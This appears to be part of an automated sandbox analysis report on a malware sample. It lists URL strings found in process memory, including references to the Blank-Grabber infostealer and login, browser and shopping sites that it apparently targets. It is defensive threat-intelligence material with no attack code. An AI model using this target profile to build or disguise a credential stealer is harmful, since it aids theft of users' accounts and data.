Source: powershell.exe, 00000046.00000002.1499829000.00000175156AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: X9g8L63QGs.exe, 00000007.00000003.1441716609.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1593098042.000001E7C2A0F000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2DF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: X9g8L63QGs.exe, 00000007.00000003.1483776725.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1462666866.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691353377.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691006091.000001E7C2A0F000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1445882054.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1432565672.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1408663369.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1482149453.000001E7C29FF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1694260601.000001E7C2A0F000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1461372548.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1450291264.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1456637981.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1441716609.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1593098042.000001E7C2A0F000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2DF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail
Source: X9g8L63QGs.exe, 00000007.00000003.1593098042.000001E7C2A0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail/
Source: X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gstatic.com/generate_204
Source: X9g8L63QGs.exe, 00000007.00000002.1694834714.000001E7C2D9A000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691509541.000001E7C2D99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/
Source: X9g8L63QGs.exe, 00000007.00000003.1441716609.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/
Source: X9g8L63QGs.exe, 00000007.00000002.1698377076.000001E7C33D4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://importlib-resources.readthedocs.io/en/latest/using.html#migrating-from-legacy
Source: X9g8L63QGs.exe, 00000007.00000003.1691163799.000001E7C25DA000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1693898892.000001E7C28C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://json.org
Source: X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C38B4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3898000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: powershell.exe, 00000014.00000002.1488439935.000002452B935000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000046.00000002.1571908950.0000017524565000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000046.00000002.1499829000.0000017515E59000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000046.00000002.1571908950.00000175246A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000046.00000002.1499829000.0000017515C5B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000046.00000002.1499829000.0000017515C5B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: X9g8L63QGs.exe, 00000007.00000002.1698377076.000001E7C339C000.00000004.00001000.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1697474979.000001E7C32E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/specifications/entry-points/
Source: X9g8L63QGs.exe, 00000007.00000002.1694449403.000001E7C2A80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://peps.python.org/pep-0205/
Source: X9g8L63QGs.exe, 00000007.00000002.1713477885.00007FFB0C620000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: https://peps.python.org/pep-0263/
Source: X9g8L63QGs.exe, 00000007.00000002.1709310873.000001E7C39E3000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png
Source: X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.pngp?s
Source: X9g8L63QGs.exe, 00000004.00000003.1275216762.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, rar.exe.4.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: X9g8L63QGs.exe, 00000007.00000003.1592918762.000001E7C3A1C000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1709657998.000001E7C3A1E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1457946992.000001E7C3A1E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1464140518.000001E7C3A1E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1481621121.000001E7C3A1E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1688159518.000001E7C3A1E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1445232213.000001E7C3A1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: X9g8L63QGs.exe, 00000007.00000003.1428143549.000001E7C3983000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1441716609.000001E7C2FDE000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1481477525.000001E7C3ADF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1432565672.000001E7C29E9000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2FD4000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1431878807.000001E7C2FDE000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1457946992.000001E7C3A1E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1445056949.000001E7C3ADF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1454766245.000001E7C2FDE000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1423636617.000001E7C2FD4000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1428143549.000001E7C3A20000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1445232213.000001E7C3A1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: X9g8L63QGs.exe, 00000007.00000003.1428143549.000001E7C3983000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1462666866.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1457946992.000001E7C3A1E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1445882054.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1432565672.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1408663369.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1482149453.000001E7C29FF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1428143549.000001E7C3A20000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1450291264.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1456637981.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1445232213.000001E7C3A1E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1593098042.000001E7C2A0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: X9g8L63QGs.exe, 00000007.00000003.1481477525.000001E7C3ADF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1445056949.000001E7C3ADF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: X9g8L63QGs.exe, 00000007.00000003.1462666866.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691006091.000001E7C2A0F000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1445882054.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1432565672.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1408663369.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1482149453.000001E7C29FF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1694260601.000001E7C2A0F000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1450291264.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1456637981.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1593098042.000001E7C2A0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc2388#section-4.4
Source: X9g8L63QGs.exe, 00000007.00000003.1441716609.000001E7C2E3D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2DF9000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2E3D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691509541.000001E7C2E41000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1483776725.000001E7C2E3D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1441716609.000001E7C2DF9000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1461372548.000001E7C2DF9000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1290762711.000001E7C2DFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7231#section-4.3.6)
Source: X9g8L63QGs.exe, 00000007.00000003.1483776725.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691353377.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3858000.00000004.00001000.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1461372548.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1693315105.000001E7C2586000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1441716609.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: X9g8L63QGs.exe, 00000007.00000002.1697474979.000001E7C32E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy
Source: X9g8L63QGs.exe, 00000007.00000002.1697306895.000001E7C3180000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
Source: X9g8L63QGs.exe, 00000007.00000003.1483776725.000001E7C2EBA000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1692076374.000001E7C2EBC000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1441716609.000001E7C2EBA000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1461372548.000001E7C2EBA000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2EBA000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1695917994.000001E7C2EBD000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691987395.000001E7C2EBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warningsN
Source: X9g8L63QGs.exe, 00000007.00000003.1590666816.000001E7C3EBB000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1590666816.000001E7C3EB4000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C38D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3858000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3840000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3858000.00000004.00001000.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3840000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3840000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3840000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3840000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: X9g8L63QGs.exe, 00000007.00000002.1697474979.000001E7C32E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3858000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3874000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3858000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3858000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3874000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: X9g8L63QGs.exe, 00000007.00000003.1592918762.000001E7C3A1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3858000.00000004.00001000.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1698377076.000001E7C346C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3858000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: X9g8L63QGs.exe, 00000007.00000003.1592918762.000001E7C3A1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3874000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3874000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3874000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: X9g8L63QGs.exe, 00000007.00000003.1592918762.000001E7C3A1C000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1590666816.000001E7C3EBB000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1593098042.000001E7C2A00000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1709657998.000001E7C3A1E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1457946992.000001E7C3A1E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1698377076.000001E7C339C000.00000004.00001000.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3858000.00000004.00001000.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1445232213.000001E7C3A16000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1481621121.000001E7C3A16000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1464140518.000001E7C3A1E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1481621121.000001E7C3A1E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1688159518.000001E7C3A1E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1445232213.000001E7C3A1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3884000.00000004.00001000.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1593207468.000001E7C2FDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/
Source: X9g8L63QGs.exe, 00000007.00000003.1428143549.000001E7C3983000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1483776725.000001E7C2EA5000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1441716609.000001E7C2EA5000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1457946992.000001E7C3A1E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1461372548.000001E7C2EA5000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2EA5000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1428143549.000001E7C3A20000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1445232213.000001E7C3A1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: X9g8L63QGs.exe, 00000007.00000003.1481477525.000001E7C3ADF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1445056949.000001E7C3ADF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: X9g8L63QGs.exe, 00000007.00000003.1428143549.000001E7C3983000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1441716609.000001E7C2FDE000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1432565672.000001E7C29E9000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2FD4000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1431878807.000001E7C2FDE000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1457946992.000001E7C3A1E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1454766245.000001E7C2FDE000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1423636617.000001E7C2FD4000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1428143549.000001E7C3A20000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1445232213.000001E7C3A1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: X9g8L63QGs.exe, 00000007.00000003.1481477525.000001E7C3ADF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1445056949.000001E7C3ADF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: X9g8L63QGs.exe, 00000007.00000003.1481477525.000001E7C3ADF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1445056949.000001E7C3ADF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: X9g8L63QGs.exe, 00000007.00000003.1428143549.000001E7C3983000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1441716609.000001E7C2FDE000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1481477525.000001E7C3ADF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1428143549.000001E7C3A10000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2FD4000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1431878807.000001E7C2FDE000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1457946992.000001E7C3A1E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1445056949.000001E7C3ADF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1423636617.000001E7C2FD4000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1428143549.000001E7C3A20000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1445232213.000001E7C3A1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: X9g8L63QGs.exe, 00000007.00000003.1481477525.000001E7C3ADF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1445056949.000001E7C3ADF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C38A8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: X9g8L63QGs.exe, 00000007.00000003.1590666816.000001E7C3EBB000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1592523972.000001E7C3A8A000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1690170405.000001E7C3A89000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C38B4000.00000004.00001000.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3858000.00000004.00001000.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1709775944.000001E7C3A8A000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1590666816.000001E7C3EB4000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C38D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: X9g8L63QGs.exe, 00000004.00000003.1273821737.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1711482875.00007FFB0BA99000.00000004.00000001.01000000.00000011.sdmp, X9g8L63QGs.exe, 00000007.00000002.1712549719.00007FFB0BFAA000.00000004.00000001.01000000.00000010.sdmp, libcrypto-3.dll.4.dr	String found in binary or memory: https://www.openssl.org/H
Source: X9g8L63QGs.exe, 00000007.00000002.1713477885.00007FFB0C724000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: https://www.python.org/psf/license/
Source: X9g8L63QGs.exe, 00000007.00000002.1713477885.00007FFB0C620000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: https://www.python.org/psf/license/)
Source: X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3874000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: X9g8L63QGs.exe, 00000007.00000003.1483776725.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691353377.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1461372548.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1441716609.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.rfc-editor.org/rfc/rfc8259#section-8.1
Source: X9g8L63QGs.exe, 00000007.00000002.1697474979.000001E7C32E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3858000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: X9g8L63QGs.exe, 00000007.00000003.1590666816.000001E7C3EBB000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1592523972.000001E7C3A8A000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1690170405.000001E7C3A89000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C38B4000.00000004.00001000.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1709775944.000001E7C3A8A000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1590666816.000001E7C3EB4000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C38D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
